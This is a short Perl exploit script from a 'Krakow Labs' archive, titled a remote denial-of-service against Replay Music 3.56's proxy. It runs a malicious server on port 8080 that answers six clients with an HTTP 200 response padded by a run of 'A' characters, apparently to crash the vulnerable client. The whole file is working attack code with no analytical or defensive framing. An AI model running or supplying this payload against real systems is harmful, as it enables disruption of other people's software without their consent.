#!/usr/bin/perl
# KL0309FUN_instant.pl
# Krakow Labs [Fun Archive] -> www.krakowlabs.com/dev/fun
# Replay Music 3.56 Proxy Remote DoS
# rush@KL
# KL0309FUN_instant.pl

use IO::Socket;

$port    = 8080;
$payload = "HTTP/1.1 200\r\n\r\n" . "A" x 31;

$serv = IO::Socket::INET->new(Proto=>'tcp', LocalPort=>$port, Listen=>1) or die "Error: listen($port)\n";

for($i = 1; $i <= 6; $i++)
{

$cli = $serv->accept() or die "Error: accept()\n";

$cli->send($payload);
$cli->recv($buf, 512);

close($cli);

}

close($serv);